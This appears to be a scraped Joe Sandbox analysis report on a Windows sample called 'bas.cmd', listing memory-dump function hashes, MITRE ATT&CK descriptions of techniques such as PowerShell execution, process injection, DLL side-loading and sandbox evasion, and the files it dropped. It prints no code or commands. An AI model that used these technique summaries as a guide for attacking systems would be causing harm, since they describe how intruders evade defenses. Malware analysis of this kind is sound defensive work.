Instruction ID: 58b99355e791eb86883a216b42d9273779fbfdfaf807adcfd1246488eb3bff5b
Opcode Fuzzy Hash: 0e74d300508893668bde05dd499cb183dca1782c029bf23a3bb5478e4b912319
Instruction Fuzzy Hash: AF91FE61A0EB868FF7A6936888A55747FA1EF26310B5840FED05DCB1E3DA18D90983D1

Function 00007FFAACCB3760 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1481676032.00007FFAACCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaaccb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab3ba840277a86a706eaa4bb2e7f873505b24b1b60e841089ff4120faa196ef8
Instruction ID: 8a7f11a939f24211d6fd913f6a770318b3170cfeaf576d83561c207c14cb25a5
Opcode Fuzzy Hash: ab3ba840277a86a706eaa4bb2e7f873505b24b1b60e841089ff4120faa196ef8
Instruction Fuzzy Hash: 6151163160D7858FE709DB2CD8A19F17BE0EF8632071841FFD089C71A3DA25A84AC791

Function 00007FFAACCB3605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1481676032.00007FFAACCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaaccb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423667439589d9ebf630b30f5cfe2cbc8dd7d6bc1a9f9559f6bbbae34852fd24
Instruction ID: 8975c8136a3e2e7c6c7de8e5b12c10893011d6ab56b95f1eb9dd98a5eb23d061
Opcode Fuzzy Hash: 423667439589d9ebf630b30f5cfe2cbc8dd7d6bc1a9f9559f6bbbae34852fd24
Instruction Fuzzy Hash: BC01447115CB088FD744EF0CE455AA9B7E0FB99364F10056DE58AC3661DA26E881CB45

Function 00007FFAACCB3848 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1481676032.00007FFAACCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaaccb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220b492d8883303cb8d128a5e5c01746af9633c3f0aac7764190c0f1d11e9760
Instruction ID: 225e77735dc8acb512d69937f3005f4cb866adba18fe7ddaac7db54cb228c694
Opcode Fuzzy Hash: 220b492d8883303cb8d128a5e5c01746af9633c3f0aac7764190c0f1d11e9760
Instruction Fuzzy Hash: 64F0307276C6048FA74C9A0CF8429F573D1EB89220B50016EE48EC2697E917F8428686

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bas.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45ht20tf.23y.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ycachth.hy0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5suvbnvh.dsm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmojxyey.k32.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmonyfee.iot.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5qrap1z.hvm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrcvuj2l.rao.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyt0rfry.1ks.ps1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\SystemTemp\chrome_BITS_6892_2065776899\BIT4183.tmp

C:\Windows\SystemTemp\chrome_BITS_6892_794445048\BITDCFB.tmp

C:\Windows\SystemTemp\chrome_BITS_6892_794445048\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.05.14.00_all_pt6odrcwmcz2ifcbvpdpv25i3u.crx3 (copy)

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.json

Windows Analysis Report
bas.cmd